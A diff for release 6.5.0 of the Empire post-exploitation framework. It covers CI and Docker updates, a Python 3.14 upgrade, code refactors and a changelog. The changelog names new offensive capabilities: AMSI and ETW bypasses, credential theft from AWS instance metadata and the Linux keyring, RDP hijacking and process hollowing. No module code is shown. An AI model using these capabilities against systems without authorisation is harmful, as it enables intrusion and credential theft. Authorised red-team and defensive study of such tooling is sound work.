diff --git a/.github/cst-config-docker.yaml b/.github/cst-config-docker.yaml index 5cc14d620..fc64e9235 100644 --- a/.github/cst-config-docker.yaml +++ b/.github/cst-config-docker.yaml @@ -7,7 +7,7 @@ commandTests: - name: "python3 version" command: "python3" args: ["--version"] - expectedOutput: ["Python 3.13.*"] + expectedOutput: ["Python 3.14.*"] - name: "poetry" command: "which" args: ["poetry"] @@ -19,7 +19,7 @@ commandTests: - name: "poetry python version" command: "poetry" args: ["run", "python3", "--version"] - expectedOutput: ["Python 3.13.*"] + expectedOutput: ["Python 3.14.*"] - name: "powershell which" command: "which" args: ["pwsh"] @@ -44,6 +44,14 @@ commandTests: command: "go" args: ["version"] expectedOutput: ["go version go1.23.* linux/*"] + - name: "mingw64 gcc exists" + command: "which" + args: ["x86_64-w64-mingw32-gcc"] + expectedOutput: ["/usr/bin/x86_64-w64-mingw32-gcc"] + - name: "perl exists" + command: "which" + args: ["perl"] + expectedOutput: ["/usr/bin/perl"] fileExistenceTests: - name: 'profiles' path: '/empire/empire/server/data/profiles/' @@ -57,3 +65,9 @@ fileExistenceTests: - name: 'plugin-registries' path: '/root/.local/share/empire/plugin-registries/BC-SECURITY/main/registry.yaml' shouldExist: true + - name: 'openssl mingw prefix' + path: '/opt/openssl-mingw64/' + shouldExist: true + - name: 'openssl mingw headers' + path: '/opt/openssl-mingw64/include/openssl/ssl.h' + shouldExist: true diff --git a/.github/install_tests/cst-config-install-base.yaml b/.github/install_tests/cst-config-install-base.yaml index ab6e74386..632c21d1c 100644 --- a/.github/install_tests/cst-config-install-base.yaml +++ b/.github/install_tests/cst-config-install-base.yaml @@ -25,7 +25,7 @@ commandTests: - name: "poetry python version" command: "poetry" args: ["run", "python3", "--version"] - expectedOutput: ["Python 3.13.*"] + expectedOutput: ["Python 3.14.*"] # powershell - name: "powershell which" command: "which" @@ -54,6 +54,15 @@ commandTests: command: "which" args: ["mono"] expectedOutput: ["/usr/bin/mono"] + # mingw / cross-compile deps + - name: "mingw64 gcc exists" + command: "which" + args: ["x86_64-w64-mingw32-gcc"] + expectedOutput: ["/usr/bin/x86_64-w64-mingw32-gcc"] + - name: "perl exists" + command: "which" + args: ["perl"] + expectedOutput: ["/usr/bin/perl"] # run - name: "ps-empire help" command: "./ps-empire" @@ -76,3 +85,9 @@ fileExistenceTests: - name: 'plugin-registries' path: '/home/empire/.local/share/empire/plugin-registries/BC-SECURITY/main/registry.yaml' shouldExist: true + - name: 'openssl mingw prefix' + path: '/opt/openssl-mingw64/' + shouldExist: true + - name: 'openssl mingw headers' + path: '/opt/openssl-mingw64/include/openssl/ssl.h' + shouldExist: true diff --git a/.github/workflows/dockerimage.yml b/.github/workflows/dockerimage.yml index 67d882635..7f2ec319f 100644 --- a/.github/workflows/dockerimage.yml +++ b/.github/workflows/dockerimage.yml @@ -42,3 +42,4 @@ jobs: platforms: linux/amd64,linux/arm64 push: true tags: bcsecurity/empire:${{ steps.tag-step.outputs.RELEASE_TAG }} + build-args: COMMIT_SHA=${{ github.sha }} diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index c299d70b0..6bdd27bf3 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -17,11 +17,11 @@ jobs: if: ${{ startsWith(github.head_ref, 'release/') || contains( github.event.pull_request.labels.*.name, 'run-all-versions') }} run: | - echo "config={\"python-version\": [\"3.13\"]}" >> $GITHUB_OUTPUT + echo "config={\"python-version\": [\"3.13\", \"3.14\"]}" >> $GITHUB_OUTPUT - id: not-release if: ${{ !startsWith(github.head_ref, 'release/') }} run: | - echo "config={\"python-version\": [\"3.13\"]}" >> $GITHUB_OUTPUT + echo "config={\"python-version\": [\"3.14\"]}" >> $GITHUB_OUTPUT outputs: config: ${{ steps.release.outputs.config || steps.not-release.outputs.config }} @@ -70,11 +70,12 @@ jobs: run: | poetry env use ${{ matrix.python-version }} poetry install - sudo apt install -y mono-runtime + sudo apt-get update + sudo apt-get install -y mono-runtime mingw-w64 perl - name: Run test suite - mysql run: | set -o pipefail - if [ "${{ matrix.python-version }}" = "3.13" ]; then + if [ "${{ matrix.python-version }}" = "3.14" ]; then DATABASE_USE=mysql poetry run pytest -v --runslow --cov=empire/server --junitxml=pytest.xml --cov-report=term-missing:skip-covered . | tee pytest-coverage.txt else DATABASE_USE=mysql poetry run pytest -v --runslow . @@ -85,7 +86,7 @@ jobs: run: | DATABASE_USE=sqlite poetry run pytest . -v --runslow - name: Pytest coverage comment - if: ${{ matrix.python-version == '3.13' }} + if: ${{ matrix.python-version == '3.14' }} uses: MishaKav/pytest-coverage-comment@v1.2.0 with: pytest-coverage-path: ./pytest-coverage.txt @@ -125,15 +126,20 @@ jobs: config: .github/cst-config-docker.yaml test_install_script: needs: test - timeout-minutes: 30 + timeout-minutes: 45 runs-on: ubuntu-latest name: Test Install Script strategy: matrix: - # Because the box runs out of disk space, we can't run all tests on a single docker compose build. + # Each image builds individually to avoid running out of disk space. + # The OpenSSL cross-compilation for MinGW makes each image too large + # to build multiple in parallel on a single runner. images: - - ['debian11', 'debian12', 'debian13'] - - ['ubuntu2204', 'ubuntu2404'] + - ['debian11'] + - ['debian12'] + - ['debian13'] + - ['ubuntu2204'] + - ['ubuntu2404'] - ['kalirolling'] # 'parrotrolling' # Parrot disabled for now because the apt repo is having some slowness issues. # Install is running up way too many minutes. diff --git a/.github/workflows/release-private-start.yml b/.github/workflows/release-private-start.yml index f4de9afe2..d88a1ff12 100644 --- a/.github/workflows/release-private-start.yml +++ b/.github/workflows/release-private-start.yml @@ -37,7 +37,7 @@ jobs: - name: Setup Python uses: actions/setup-python@v6 with: - python-version: '3.12' + python-version: '3.14' - name: Setup poetry run: | curl -sL https://install.python-poetry.org | python - -y diff --git a/.github/workflows/release-private-tag.yml b/.github/workflows/release-private-tag.yml index cb9bc22f9..3927a8614 100644 --- a/.github/workflows/release-private-tag.yml +++ b/.github/workflows/release-private-tag.yml @@ -24,7 +24,7 @@ jobs: - name: Setup Python uses: actions/setup-python@v6 with: - python-version: '3.12' + python-version: '3.14' - name: Setup poetry run: | curl -sL https://install.python-poetry.org | python - -y diff --git a/.python-version b/.python-version index 24ee5b1be..6324d401a 100644 --- a/.python-version +++ b/.python-version @@ -1 +1 @@ -3.13 +3.14 diff --git a/CHANGELOG.md b/CHANGELOG.md index 27204fa1d..f3bd6a21d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,13 +14,88 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [6.5.0] - 2026-03-08 +- Updated Starkiller to v3.4.0 + ### Added +- Log Empire version and git commit SHA at startup for easier production diagnostics; commit SHA is baked into the Docker image at build time via `--build-arg` +- Added C stager for lightweight stage0 shellcode injection via Fibers +- Added `shellcode_compiler` utility for compiling position-independent C stagers into raw x64 shellcode for BOF process injection +- Added `clipboard_window_inject_list` BOF module for enumerating processes with clipboard window class +- Added PIC shellcode C template and linker script for MinGW-based shellcode compilation +- Added unit tests for `shellcode_compiler` and rewrote `test_bof_packer` to cover the new `Packer` class API - Added a runtime `Background` option to C# modules, allowing operators to override background/foreground execution at task time +- Added C# PatchETW module for in-process ETW patching via ntdll!EtwEventWrite +- Added C# PatchlessAMSI module for patchless AMSI bypass using hardware breakpoints and vectored exception handling +- Added PowerShell Invoke-VSSExtract module for NTDS.dit and SYSTEM hive extraction via Volume Shadow Copy +- Added PowerShell Invoke-RDPHijack module for RDP session hijacking via tscon.exe +- Added Python linux_keyring module for credential extraction from the Linux kernel keyring subsystem +- Added Python aws_imds module for AWS IAM role credential theft via EC2 Instance Metadata Service +- Added BOF `spawn` module for EarlyBird process hollowing with suspended process creation, shellcode injection, and APC thread hijacking + +### Changed + +- Added Python 3.14 support (supports 3.13 and 3.14); Dockerfile now uses `python:3.14.3-trixie` +- Replace `os.path` with `pathlib` in core code and enforce `PTH` lint rule for all core files +- Switch `stager_generation_service` from deprecated `installPath` (str) to `install_path` (Path) +- Optimized test suite for faster CI and local runs +- Modernize Python patterns in core code: use `setdefault()`, truthiness checks, `click.style()` for terminal colors, and remove redundant operations +- Reduced test fixture boilerplate with a shared `make_agent()` factory and deduplicated `plugin_task` fixture across test files +- Removed `autouse` from test fixtures that don't need it, making test dependencies explicit +- Added unit tests for encryption, packet handling, helpers, malleable transformations, and listener utilities +- Migrate remaining `installPath` usages to `install_path` (Path) in core services +- Use `Path.read_text(encoding="utf-8")` instead of `read_bytes().decode()` in stager generation +- Replace `os.system()` calls with `subprocess.run()` in stager JAR generation +- Upgraded all Python dependencies to latest versions (Feb 2026) +- Replace deprecated `handle_error_message` with raised `ModuleValidationException` in all modules (#716) +- Convert 51 modules to use `@auto_get_source` and `@auto_finalize` decorators, eliminating boilerplate (#716) +- Replace unmaintained `terminaltables` dependency with `prettytable` (#809) +- Refactored `bof_packer` from standalone functions to a `Packer` class with granular packing methods (`addbytes`, `addstr`, `addWstr`, `addbool`, `adduint32`, `addint`, `addshort`) +- Rewrote `clipboard_window_inject` BOF module to use PIC shellcode instead of PowerShell launcher-based shellcode generation +- Simplified `clipboard_window_inject` module options by removing unnecessary launcher parameters and corrected BOF format string +- Bumped Empire Compiler from v0.4.3 to v0.4.4 + +### Removed + +- Removed `secinject` BOF module and its pre-compiled binary ### Fixed +- Fixed SQLAlchemy connection pool exhaustion caused by async hooks receiving the caller's committed session. `run_hooks` now wraps async hooks in `_run_async_hook`, which opens a fresh `SessionLocal` session for each hook and closes it cleanly after the hook returns. ORM objects are re-attached via `session.merge()` so lazy-loaded relationships resolve correctly. +- Fixed SQLAlchemy connection pool exhaustion during agent check-ins by releasing the DB session before expensive file I/O, encryption, and packet building in `handle_agent_request()` +- Fixed custom-generate BOF modules (`clipboard_window_inject`, `spawn`, `clipboard_window_inject_list`) returning .NET-only `file|,json` format for Go agents, causing BOF execution to fail on the Go agent's COFF loader +- Added `format_bof_output()` to `ModuleService` to centralize BOF output formatting for Go and .NET agents +- Pass `agent_language` to custom-generate modules so they can produce agent-appropriate output +- Fixed malleable HTTP listener stagers failing after server restart due to random URI regeneration in `Stager._defaults()` +- Fix null-safety bug in `_process_agent_packet` when `save_module_file` returns None on skywalker exploit detection - Fixed stop-job handlers in PowerShell and Python agents crashing when the target job doesn't exist +- Fixed the `docs/quickstart/installation/README.md` file to specify a previously missing reference to Ubuntu +- Fixed 9 malformed MITRE ATT&CK technique IDs across PowerShell, Python, and C# modules +- Fixed 2 malformed tactic fields that used space-separated strings instead of YAML lists +- Replaced 7 deprecated or revoked ATT&CK techniques with current equivalents +- Added missing `software` field for known ATT&CK tools (Rubeus, BloodHound, Mimikatz) +- Added missing `tactics` field to 82 Python modules that had none +- Fixed 74 technique-to-tactic inconsistencies across all module languages +- Replaced 27 additional deprecated technique IDs predating ATT&CK v10 with current equivalents across Python and template modules +- Removed incorrect T1482 (Domain Trust Discovery) from 32 modules that perform user, group, or computer enumeration +- Removed incorrect T1615 (Group Policy Discovery) from 24 modules unrelated to GPO enumeration +- Replaced T1106 (Native API) with T1059.006 (Python) on 5 DCOS REST API modules +- Added missing `techniques` field to 3 session enumeration modules +- Corrected 3 macOS LaunchAgent persistence modules from T1055 (Process Injection) to T1543.001 (Launch Agent) +- Corrected macOS screensaver credential prompt module from T1113 (Screen Capture) to T1056.002 (GUI Input Capture) +- Corrected Invoke-DownloadFile from T1041 (Exfiltration Over C2) to T1105 (Ingress Tool Transfer) +- Upgraded 3 keylogger modules from parent T1056 to specific T1056.001 (Keylogging) sub-technique +- Upgraded macOS email search module from T1114 to T1114.001 (Local Email Collection) sub-technique +- Upgraded macOS LoginHook persistence from T1037 to T1037.002 (Login Hook) sub-technique +- Added T1105 (Ingress Tool Transfer) to 12 lateral movement modules that deploy stagers to remote hosts +- Added 10 new ATT&CK technique IDs across 51 modules to improve coverage from 181 to 190 unique techniques +- Added T1005 (Data from Local System) to 8 macOS and Linux credential and collection modules +- Added T1550.002 (Pass the Hash) to PsExec, SMBExec, and WMI lateral movement modules +- Added T1562.001 (Impair Defenses) to AMSI bypass, ETW patching, and Outlook security modules +- Fixed duplicate technique entries in RevertToSelf and NetRipper modules +- Fixed PSRansom module `name` field incorrectly set to `Invoke-Script` instead of `PSRansom` +- Fixed misc_skeleton_key Invoke-Mimikatz call ## [6.4.1] - 2026-02-15 - Fixed the `docs/quickstart/installation/README.md` file to specify a previously missing reference to Ubuntu @@ -1256,7 +1331,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.4.1...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.5.0...HEAD + +[6.5.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.4.1...v6.5.0 [6.4.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.4.0...v6.4.1 diff --git a/Dockerfile b/Dockerfile index 89d293eda..72240adb0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -9,7 +9,7 @@ # 2) create volume storage: `docker create -v /empire --name data bcsecurity/empire` # 3) run out container: `docker run -it --volumes-from data bcsecurity/empire /bin/bash` -FROM python:3.13.6-bullseye +FROM python:3.14.3-trixie LABEL maintainer="bc-security" LABEL description="Dockerfile for Empire. https://bc-security.gitbook.io/empire-wiki/quickstart/installation#docker" @@ -17,6 +17,8 @@ LABEL description="Dockerfile for Empire. https://bc-security.gitbook.io/empire- ENV DEBIAN_FRONTEND=noninteractive DOTNET_CLI_TELEMETRY_OPTOUT=1 ARG TARGETARCH +ARG COMMIT_SHA="" +ENV EMPIRE_COMMIT_SHA=$COMMIT_SHA SHELL ["/bin/bash", "-c"] @@ -24,14 +26,19 @@ RUN apt-get update && \ apt-get install -qq \ --no-install-recommends \ apt-transport-https \ + ca-certificates \ libicu-dev \ sudo \ zip \ curl \ + wget \ git \ openssh-client \ default-jdk \ mono-runtime \ + build-essential \ + mingw-w64 \ + perl \ && rm -rf /var/lib/apt/lists/* RUN if [ "$TARGETARCH" = "amd64" ]; then \ @@ -56,6 +63,24 @@ RUN curl -L -o /tmp/go.tar.gz https://go.dev/dl/go1.23.2.linux-${TARGETARCH}.tar ln -s /opt/go/bin/go /usr/bin/go && \ rm /tmp/go.tar.gz +# Build OpenSSL for MinGW cross-compilation (for Windows C stagers) +RUN set -eux; \ + if [ ! -d /opt/openssl-mingw64/include/openssl ]; then \ + OPENSSL_VERSION="3.5.4"; \ + mkdir -p /tmp/openssl-build; \ + cd /tmp/openssl-build; \ + wget -q "https://www.openssl.org/source/openssl-${OPENSSL_VERSION}.tar.gz" -O "openssl-${OPENSSL_VERSION}.tar.gz"; \ + tar -xzf "openssl-${OPENSSL_VERSION}.tar.gz"; \ + cd "openssl-${OPENSSL_VERSION}"; \ + ./Configure mingw64 no-apps no-async no-docs no-shared no-tests \ + --cross-compile-prefix=x86_64-w64-mingw32- \ + --prefix=/opt/openssl-mingw64; \ + make -j"$(nproc)"; \ + make install_dev; \ + cd /; \ + rm -rf /tmp/openssl-build; \ + fi + WORKDIR /empire COPY pyproject.toml poetry.lock /empire/ diff --git a/docs/modules/module-development/README.md b/docs/modules/module-development/README.md index 3c569bdbb..fa2fe5440 100644 --- a/docs/modules/module-development/README.md +++ b/docs/modules/module-development/README.md @@ -14,9 +14,11 @@ authors: - name: John Doe handle: '@johndoe' description: A sample module demonstrating Empire module structure. -tactics: [] +software: '' +tactics: + - TA0002 techniques: - - T1234 + - T1059 background: true output_extension: ps1 needs_admin: false @@ -32,6 +34,17 @@ options: strict: true ``` +## MITRE ATT&CK Fields + +Every module should include proper MITRE ATT&CK metadata. The fields are: + +- **`tactics`**: A list of ATT&CK tactic IDs (e.g., `TA0001` through `TA0043`). Every module should have at least one tactic — do not leave this as an empty list. +- **`techniques`**: A list of ATT&CK technique or sub-technique IDs. Use the format `T####` for techniques (e.g., `T1059`) or `T####.###` for sub-techniques (e.g., `T1059.001`). +- **`software`**: If the module wraps a known ATT&CK software entry, set this to its ID (e.g., `S0002` for Mimikatz, `S1071` for Rubeus). Leave as `''` if the tool is not cataloged in ATT&CK. + +Refer to the [MITRE ATT&CK Enterprise Matrix](https://attack.mitre.org/matrices/enterprise/) for valid tactic, technique, and software IDs. + + ## Special Options Empire reserves certain option names that receive special handling during module execution. These are filtered out of the parameters passed to the module's script and instead control how the task is dispatched or processed. diff --git a/empire/server/api/middleware.py b/empire/server/api/middleware.py index c9abc8354..3fbd073c3 100644 --- a/empire/server/api/middleware.py +++ b/empire/server/api/middleware.py @@ -17,18 +17,20 @@ def __init__( allow_headers: typing.Sequence[str] = (), allow_credentials: bool = False, allow_origin_regex: str | None = None, + allow_private_network: bool = False, expose_headers: typing.Sequence[str] = (), max_age: int = 600, ) -> None: super().__init__( app, - allow_origins, - allow_methods, - allow_headers, - allow_credentials, - allow_origin_regex, - expose_headers, - max_age, + allow_origins=allow_origins, + allow_methods=allow_methods, + allow_headers=allow_headers, + allow_credentials=allow_credentials, + allow_origin_regex=allow_origin_regex, + allow_private_network=allow_private_network, + expose_headers=expose_headers, + max_age=max_age, ) async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index 471e5f0ca..9e1b259ed 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -1,5 +1,5 @@ from datetime import datetime -from enum import Enum +from enum import StrEnum from pydantic import BaseModel @@ -126,7 +126,7 @@ class AgentCheckInsAggregate(BaseModel): bucket_size: str -class AggregateBucket(str, Enum): +class AggregateBucket(StrEnum): second = "second" minute = "minute" hour = "hour" diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index f8c9dff57..dabdb05e9 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -245,7 +245,7 @@ async def create_task_jobs( db_agent: AgentDep, agent_task_service: AgentTaskServiceDep, ): - resp, err = agent_task_service.create_task_jobs(db, db_agent, current_user) + resp, _err = agent_task_service.create_task_jobs(db, db_agent, current_user) return domain_to_dto_task(resp) @@ -259,7 +259,7 @@ async def create_task_kill_job( agent_task_service: AgentTaskServiceDep, ): kill_job = str(jobs.id) - resp, err = agent_task_service.create_task_kill_job( + resp, _err = agent_task_service.create_task_kill_job( db, db_agent, kill_job, current_user ) @@ -275,7 +275,7 @@ async def create_task_stop_job( agent_task_service: AgentTaskServiceDep, ): stop_job = str(jobs.id) - resp, err = agent_task_service.create_task_stop_job( + resp, _err = agent_task_service.create_task_stop_job( db, db_agent, stop_job, current_user ) diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index e30f62ece..b3e7c061f 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -1,5 +1,5 @@ from datetime import datetime -from enum import Enum +from enum import StrEnum from pydantic import BaseModel, Field @@ -11,7 +11,7 @@ from empire.server.core.db import models -class AgentTaskOrderOptions(str, Enum): +class AgentTaskOrderOptions(StrEnum): id = "id" updated_at = "updated_at" status = "status" diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py index f7c8b2162..3034fcae5 100644 --- a/empire/server/api/v2/download/download_dto.py +++ b/empire/server/api/v2/download/download_dto.py @@ -1,5 +1,5 @@ from datetime import datetime -from enum import Enum +from enum import StrEnum from pydantic import BaseModel @@ -18,14 +18,14 @@ def domain_to_dto_download(download): ) -class DownloadSourceFilter(str, Enum): +class DownloadSourceFilter(StrEnum): upload = "upload" stager = "stager" agent_file = "agent_file" agent_task = "agent_task" -class DownloadOrderOptions(str, Enum): +class DownloadOrderOptions(StrEnum): filename = "filename" location = "location" size = "size" diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index 60438a03b..46ec50814 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -1,5 +1,5 @@ from datetime import datetime -from enum import Enum +from enum import StrEnum from pydantic import BaseModel @@ -11,7 +11,7 @@ from empire.server.core.db import models -class PluginTaskOrderOptions(str, Enum): +class PluginTaskOrderOptions(StrEnum): id = "id" updated_at = "updated_at" status = "status" diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py index 708abedf0..1a632b431 100644 --- a/empire/server/api/v2/shared_dto.py +++ b/empire/server/api/v2/shared_dto.py @@ -1,5 +1,5 @@ import typing -from enum import Enum +from enum import StrEnum from typing import Annotated, Any from pydantic import ( @@ -20,7 +20,7 @@ class NotFoundResponse(BaseModel): detail: str -class ValueType(str, Enum): +class ValueType(StrEnum): string = "STRING" float = "FLOAT" integer = "INTEGER" @@ -53,7 +53,7 @@ class CustomOptionSchema(BaseModel): depends_on: list[DependentOption] = [] -class OrderDirection(str, Enum): +class OrderDirection(StrEnum): asc = "asc" desc = "desc" diff --git a/empire/server/api/v2/tag/tag_dto.py b/empire/server/api/v2/tag/tag_dto.py index 61916b123..0f8968cdd 100644 --- a/empire/server/api/v2/tag/tag_dto.py +++ b/empire/server/api/v2/tag/tag_dto.py @@ -1,4 +1,4 @@ -from enum import Enum +from enum import StrEnum from typing import Annotated from pydantic import BaseModel, StringConstraints @@ -12,7 +12,7 @@ TagStrNoColon = Annotated[str, StringConstraints(pattern=r"^[^:]+$")] -class TagSourceFilter(str, Enum): +class TagSourceFilter(StrEnum): listener = "listener" agent = "agent" agent_task = "agent_task" @@ -43,7 +43,7 @@ class TagRequest(BaseModel): color: str | None = None -class TagOrderOptions(str, Enum): +class TagOrderOptions(StrEnum): name = "name" created_at = "created_at" updated_at = "updated_at" diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 5879c8bb4..a81a086b9 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -34,7 +34,7 @@ if TYPE_CHECKING: from socket import SocketIO -VERSION = "6.4.1 BC Security Fork" +VERSION = "6.5.0 BC Security Fork" log = logging.getLogger(__name__) @@ -44,7 +44,9 @@ def __init__(self, args=None): log.info("Empire starting up...") self.install_path = Path(os.path.realpath(__file__)).parent.parent - # installPath is deprecated, use install_path + # TODO(empire-7): Remove installPath. Kept for backwards compatibility + # with listeners, stagers, modules, and third-party plugins that still + # reference self.mainMenu.installPath as a str. self.installPath = str(self.install_path) self.args = args diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index f8b3776c8..3be49eb9d 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -7,7 +7,6 @@ import string import struct -from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric.ed25519 import ( Ed25519PrivateKey as _Ed25519PrivateKey, ) @@ -62,9 +61,8 @@ def depad(data): @staticmethod def encrypt(key, data): """Encrypt with random IV (CBC) and return IV+ciphertext.""" - backend = default_backend() IV = os.urandom(16) - cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) + cipher = Cipher(algorithms.AES(key), modes.CBC(IV)) encryptor = cipher.encryptor() ct = encryptor.update(AESCipher.pad(data)) + encryptor.finalize() return IV + ct @@ -81,9 +79,8 @@ def encrypt_then_hmac(key, data): def decrypt(key, data): """Decrypt IV+ciphertext (CBC) and depad.""" if len(data) > 16: # noqa: PLR2004 - backend = default_backend() IV = data[0:16] - cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) + cipher = Cipher(algorithms.AES(key), modes.CBC(IV)) decryptor = cipher.decryptor() return AESCipher.depad(decryptor.update(data[16:]) + decryptor.finalize()) raise ValueError("Data length must be larger then 16") @@ -180,7 +177,7 @@ def get_prime(self, group=17): 18: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF, } - if group in list(primes.keys()): + if group in primes: return primes[group] log.error(f"Error: No prime with group {group:d}. Using default.") @@ -244,7 +241,7 @@ def gen_key(self, otherKey): # Convert the shared secret (int) to an array of bytes in network order # Otherwise hashlib can't hash it. try: - bin_str = bin(self.sharedSecret)[2:].zfill(6147) + bin_str = f"{self.sharedSecret:b}".zfill(6147) _sharedSecretBytes = int(bin_str, 2).to_bytes(len(bin_str), "big") except AttributeError: _sharedSecretBytes = str(self.sharedSecret) @@ -344,7 +341,7 @@ def _construct_nonce16(self, block_counter=0): def _cipher(self, nonce16): algorithm = algorithms.ChaCha20(self.key, nonce16) - return Cipher(algorithm, mode=None, backend=default_backend()) + return Cipher(algorithm, mode=None) def encrypt(self, plaintext): nonce16 = self._construct_nonce16(0) diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index c6d1012c9..653145061 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -47,6 +47,8 @@ import threading from datetime import datetime +import click + from empire.server.utils.math_util import old_div log = logging.getLogger(__name__) @@ -284,7 +286,7 @@ def find_all_dependent_functions(functions, functionsToProcess, resultFunctions= # get the dependencies for the function we're currently processing try: functionDependencies = get_dependent_functions( - functions[requiredFunction], list(functions.keys()) + functions[requiredFunction], functions.keys() ) except Exception: functionDependencies = [] @@ -485,7 +487,7 @@ def parse_mimikatz(data): # noqa: PLR0912 PLR0915 if not (credType == "plaintext" and username.endswith("$")): creds.append((credType, domain, username, password, hostName, sid)) - if len(creds) == 0 and len(lines) >= 13: # noqa: PLR2004 + if not creds and len(lines) >= 13: # noqa: PLR2004 # check if we have lsadump output to check for krbtgt # happens on domain controller hashdumps for x in range(8, 13): @@ -522,7 +524,7 @@ def parse_mimikatz(data): # noqa: PLR0912 PLR0915 pass # check if we get lsadump::dcsync output - if len(creds) == 0 and b"** SAM ACCOUNT **" in lines: + if not creds and b"** SAM ACCOUNT **" in lines: domain, user, userHash, dcName, sid = "", "", "", "", "" for line in lines: if line.strip().endswith(b"will be the domain"): @@ -609,35 +611,22 @@ def color(string, color=None): """ Change text color for the Linux terminal. """ + color_map = {"red": "red", "green": "green", "yellow": "yellow", "blue": "blue"} + prefix_map = {"[!]": "red", "[+]": "green", "[*]": "blue", "[>]": "yellow"} - attr = [] - # bold - attr.append("1") - + fg = None if color: - if color.lower() == "red": - attr.append("31") - elif color.lower() == "green": - attr.append("32") - elif color.lower() == "yellow": - attr.append("33") - elif color.lower() == "blue": - attr.append("34") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - - if string.strip().startswith("[!]"): - attr.append("31") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - if string.strip().startswith("[+]"): - attr.append("32") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - if string.strip().startswith("[*]"): - attr.append("34") - return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - if string.strip().startswith("[>]"): - attr.append("33") - return 